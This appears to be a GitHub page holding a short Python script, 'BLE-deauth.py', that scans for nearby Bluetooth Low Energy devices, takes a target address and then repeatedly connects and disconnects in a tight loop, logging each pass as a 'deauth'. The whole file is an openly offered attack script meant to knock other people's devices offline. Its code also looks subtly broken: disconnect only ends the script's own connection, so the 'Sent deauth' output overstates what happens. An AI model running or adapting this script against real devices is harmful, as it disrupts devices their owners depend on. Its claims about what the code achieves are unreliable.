-
Notifications
You must be signed in to change notification settings - Fork 0
/
BLE-deauth.py
31 lines (24 loc) · 1003 Bytes
/
BLE-deauth.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import asyncio
from bleak import BleakScanner, BleakClient
async def ble_deauth(target_address, interval=0.1): # Interval in seconds
async with BleakClient(target_address) as client:
while True:
try:
await client.disconnect()
print(f"Sent deauth to {target_address}")
except Exception as e:
print(f"Error: {e}")
await asyncio.sleep(interval)
async def detection_callback(device, advertisement_data):
print(f"[{device.address}] {device.name} ({advertisement_data.rssi} dBm)")
async def main():
print("Scanning for BLE devices...")
# Create the scanner with the callback
scanner = BleakScanner(detection_callback=detection_callback)
await scanner.start()
await asyncio.sleep(5) # Scan for 5 seconds
await scanner.stop()
target_address = input("Enter the target device address: ")
await ble_deauth(target_address)
if __name__ == "__main__":
asyncio.run(main())